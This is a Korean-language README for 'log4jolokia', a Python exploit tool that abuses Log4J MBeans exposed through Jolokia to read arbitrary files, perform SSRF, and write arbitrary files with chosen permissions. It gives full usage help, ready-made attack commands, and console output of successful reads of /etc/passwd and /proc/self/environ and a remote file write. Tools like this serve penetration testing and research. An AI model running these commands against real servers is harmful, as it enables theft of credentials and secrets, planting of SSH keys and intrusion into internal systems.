mbadanoiu/log4jolokiaJolokia를 통한 Log4J 악용을 위한 Python3 구현
Jolokia를 통해 Log4J MBeans를 활용 및 악용하기 위한 Python3 구현입니다.
일반 도움말:
usage: log4jolokia.py [-h] [-u [USER]] [-p [PASSWD]] [--proxy [PROXY]] [-H [HEADER]] {exec_jar,write_file,read_file,exec_script} [{exec_jar,write_file,read_file,exec_script} ...] target [target ...]
positional arguments:
{exec_jar,write_file,read_file,exec_script}
choose mode: exec_jar | write_file | read_file | exec_script
target URL to jolokia (e.g. http://127.0.0.1:8161/console/jolokia)
options:
-h, --help show this help message and exit
-u [USER], --user [USER]
Jolokia username
-p [PASSWD], --passwd [PASSWD]
Jolokia password
--proxy [PROXY] Optional HTTP(S) Proxy (e.g. burp at http://127.0.0.1:8080)
-H [HEADER], --header [HEADER]
Other required custom HTTP headers (e.g. -H "Origin: http://localhost"
-H "Referrer: http://localhost")
참고: 선택한 모드에 따라 일부 섹션의 도움말이 달라집니다.
이 프로그램은 다음과 같은 4가지 악용 모드를 제공합니다:
공격자는 Jolokia API를 통해 Log4J의 "ConfigLocationUri" 속성을 수정하고 "ConfigText"의 새 콘텐츠를 읽음으로써("getConfigText(String)" 함수를 사용하거나 "ConfigText" 속성에 대해 Jolokia "read" 작업을 수행하여) 임의의 파일을 읽을 수 있습니다.
참고: 이 경우 "latin-1" 인코딩으로 파일 출력의 바이트 단위 정확한 표현을 검색할 수 있으므로 "getConfigText(String)" 읽기 벡터를 사용합니다.
참고 2: 이 벡터는 일반적으로 접근할 수 없거나 내부에 있는 서버에 액세스하는 데에도 사용할 수 있습니다:
도움말 - 파일 읽기 관련 매개변수:
$ python3 log4jolokia.py read_file http://a -h
***TRUNCATED***
-r [READ], --read [READ]
Absolute or relative path of a file to read on target (Use only with mode: read_file)
예시 명령어:
- Absolute Path:
python3 log4jolokia.py read_file http://127.0.0.1:8161/console/jolokia/ -r /etc/passwd -u admin -p admin -H 'Origin: http://localhost'
- Relative Path:
python3 log4jolokia.py read_file http://127.0.0.1:8161/console/jolokia/ -r ./artemis -u admin -p admin -H 'Origin: http://localhost'
- Specific Protocol:
-- FTP:
python3 log4jolokia.py read_file http://127.0.0.1:8161/console/jolokia/ -r ftp://test:[email protected]:22/test -u admin -p admin -H 'Origin: http://localhost'
-- SMB (Windows only):
python3 log4jolokia.py read_file http://127.0.0.1:8161/console/jolokia/ -r file:////127.0.0.1/C/test -u admin -p admin -H 'Origin: http://localhost'
-- HTTP SSRF (Usually no output a.k.a. Blind SSRF):
python3 log4jolokia.py read_file http://127.0.0.1:8161/console/jolokia/ -r 'http://127.0.0.1:80/test?test=test' -u admin -p admin -H 'Origin: http://localhost'
예시 - "/etc/passwd" 읽기:
$ python3 log4jolokia.py read_file http://127.0.0.1:8161/console/jolokia/ -u admin -p admin -H 'Origin: http://localhost' -r /etc/passwd
[.] Looking for "org.apache.logging.log4j2" mbeans in http://127.0.0.1:8161/console/jolokia/list
[+] Found Log4J Mbean org.apache.logging.log4j2:type=21263314
[+] Found Log4J Mbean org.apache.logging.log4j2:type=76ed5528
[.] Using mbean org.apache.logging.log4j2:type=21263314
[.] Setting ConfigLocationUri to point to arbitrary location /etc/passwd
[+] Successfully set ConfigLocationUri to "/etc/passwd"
[.] Reading file output from ConfigText
[+] Content of "/etc/passwd":
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
***TRUNCATED***
예시 - "/proc/self/environ" 읽기 (콘텐츠에 인쇄할 수 없는 문자(예: 널 바이트)가 포함되어 있어 출력이 base64로 인코딩됩니다):
$ python3 log4jolokia.py read_file http://127.0.0.1:8161/console/jolokia/ -u admin -p admin -H 'Origin: http://localhost' -r /proc/self/environ
[.] Looking for "org.apache.logging.log4j2" mbeans in http://127.0.0.1:8161/console/jolokia/list
[+] Found Log4J Mbean org.apache.logging.log4j2:type=21263314
[+] Found Log4J Mbean org.apache.logging.log4j2:type=76ed5528
[.] Using mbean org.apache.logging.log4j2:type=21263314
[.] Setting ConfigLocationUri to point to arbitrary location /proc/self/environ
[+] Successfully set ConfigLocationUri to "/proc/self/environ"
[.] Reading file output from ConfigText
[.] File "/proc/self/environ" contains non-printable characters, displaying base64 encoding
[+] Base64 content of "/proc/self/environ":
TEVTU09QRU49fCAvdXNyL2Jpbi9sZXNzcGlwZSAlcwBNQUlMPS92YXIvbWFpbC9jdGYAVVNFUj1jdGYATENfVElNRUZJLlVURi04AFNIT***TRUNCATED***
악의적인 Log4J 구성을 생성하고 로드함으로써, "RollingFile -> fileName"(쓸 위치) 및 "Pattern"(쓸 내용) 매개변수의 값을 활용하여 임의의 위치에 임의의 콘텐츠를 쓸 수 있습니다. 이 경우 XML 형식으로 악의적인 Log4J 구성을 생성하고 "setConfigText(String, String)" 함수를 활용합니다.
참고: XML 형식에는 특정 제한된 제어 문자가 있으므로 복잡한 바이너리 파일을 쓰기 위해 다른 지원 구성 형식(예: Properties)을 활용한 2단계 쓰기 프로세스가 사용되었습니다.
도움말 - 파일 쓰기 관련 매개변수:
$ python3 log4jolokia.py write_file http://a -h
***TRUNCATED***
-lf [LOCAL_FILE], --local_file [LOCAL_FILE]
Path to local file to be written on the target (Use only with mode: write_file)
-w [WRITE], --write [WRITE]
Path of file to be written on the target (Use only with mode: write_file)
-P [PERM], --perm [PERM]
Permissions of the file written on the target. Useful for files like "authorized_keys" that require "rw-------". (Default value is "rwxrwx---") (Use only with mode: write_file)
--tmp_dir [TMP_DIR] Location of a writable directory. (Default value is "/tmp")
E.g. Unix == /tmp
Windows == C:/Users/Public
Example command:
python3 log4jolokia.py write_file http://127.0.0.1:8161/console/jolokia/ -lf 00-ff.txt -w /tmp/test_write -u admin -p admin -H 'Origin: http://localhost'
예시 - "/tmp/test"에 "test" 쓰기:
$ echo test > t.txt
$ python3 log4jolokia.py write_file http://127.0.0.1:8161/console/jolokia/ -u admin -p admin -H 'Origin: http://localhost' -lf t.txt -w /tmp/test --proxy http://127.0.0.1:8080
[.] Looking for "org.apache.logging.log4j2" mbeans in http://127.0.0.1:8161/console/jolokia/list
[+] Found Log4J Mbean org.apache.logging.log4j2:type=21263314
[+] Found Log4J Mbean org.apache.logging.log4j2:type=76ed5528
[.] Reading content from t.txt
[.] Generating Log4J configuration
[+] Generated Log4J XML configuration
[.] Using a double setConfigText in order to flush the buffer
[.] Using setConfigText to load the Log4J XML configuration
[+] Successfully called setConfigText()
[.] Checking that the file "/tmp/test" was written successfully on the target
[+] File "/tmp/test" has been successfully written on the target